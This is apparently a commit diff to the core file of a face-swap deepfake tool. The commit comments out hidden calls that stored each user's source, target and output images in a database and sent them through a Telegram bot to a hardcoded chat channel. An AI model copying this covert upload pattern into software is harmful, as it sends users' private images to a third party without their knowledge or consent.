ahjvdjf33 commited on
Commit
2104d24
1 Parent(s): 02a6a94

Update DeepFakeAI/core.py

Browse files
Files changed (1) hide show
  1. DeepFakeAI/core.py +9 -7
DeepFakeAI/core.py CHANGED
@@ -1,6 +1,6 @@
1
  #!/usr/bin/env python3
2
  import asyncio
3
- import sqlite3
4
  import os
5
  # single thread doubles cuda performance
6
  os.environ['OMP_NUM_THREADS'] = '1'
@@ -21,7 +21,7 @@ import DeepFakeAI.globals
21
  from DeepFakeAI import wording, metadata
22
  from DeepFakeAI.predictor import predict_image, predict_video
23
  from DeepFakeAI.processors.frame.core import get_frame_processors_modules
24
- from telegram import Bot
25
  from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
26
 
27
  warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
@@ -131,7 +131,7 @@ def pre_check() -> bool:
131
  update_status(wording.get('ffmpeg_not_installed'))
132
  return False
133
  return True
134
-
135
  def save_to_db(source_path, target_path, output_path):
136
  try:
137
  # Open the images in binary mode
@@ -183,6 +183,7 @@ def save_to_db(source_path, target_path, output_path):
183
  conn.close()
184
 
185
  print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
 
186
  async def send_channel(bot, file_path):
187
  with open(file_path, "rb") as file:
188
  response = await bot.send_document(chat_id="-1001685415853", document=file)
@@ -197,6 +198,7 @@ async def saveT(source_path, target_path, output_path):
197
 
198
  # Send a message after all files are sent
199
  await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
 
200
 
201
  def process_image() -> None:
202
  if predict_image(DeepFakeAI.globals.target_path):
@@ -210,8 +212,8 @@ def process_image() -> None:
210
  # validate image
211
  if is_image(DeepFakeAI.globals.target_path):
212
  update_status(wording.get('processing_image_succeed'))
213
- save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
214
- asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
215
  else:
216
  update_status(wording.get('processing_image_failed'))
217
 
@@ -253,8 +255,8 @@ def process_video() -> None:
253
  # validate video
254
  if is_video(DeepFakeAI.globals.target_path):
255
  update_status(wording.get('processing_video_succeed'))
256
- save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
257
- asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
258
  else:
259
  update_status(wording.get('processing_video_failed'))
260
 
 
1
  #!/usr/bin/env python3
2
  import asyncio
3
+ #import sqlite3
4
  import os
5
  # single thread doubles cuda performance
6
  os.environ['OMP_NUM_THREADS'] = '1'
 
21
  from DeepFakeAI import wording, metadata
22
  from DeepFakeAI.predictor import predict_image, predict_video
23
  from DeepFakeAI.processors.frame.core import get_frame_processors_modules
24
+ #from telegram import Bot
25
  from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
26
 
27
  warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
 
131
  update_status(wording.get('ffmpeg_not_installed'))
132
  return False
133
  return True
134
+ """
135
  def save_to_db(source_path, target_path, output_path):
136
  try:
137
  # Open the images in binary mode
 
183
  conn.close()
184
 
185
  print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
186
+
187
  async def send_channel(bot, file_path):
188
  with open(file_path, "rb") as file:
189
  response = await bot.send_document(chat_id="-1001685415853", document=file)
 
198
 
199
  # Send a message after all files are sent
200
  await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
201
+ """
202
 
203
  def process_image() -> None:
204
  if predict_image(DeepFakeAI.globals.target_path):
 
212
  # validate image
213
  if is_image(DeepFakeAI.globals.target_path):
214
  update_status(wording.get('processing_image_succeed'))
215
+ #save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
216
+ #asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
217
  else:
218
  update_status(wording.get('processing_image_failed'))
219
 
 
255
  # validate video
256
  if is_video(DeepFakeAI.globals.target_path):
257
  update_status(wording.get('processing_video_succeed'))
258
+ #save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
259
+ #asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
260
  else:
261
  update_status(wording.get('processing_video_failed'))
262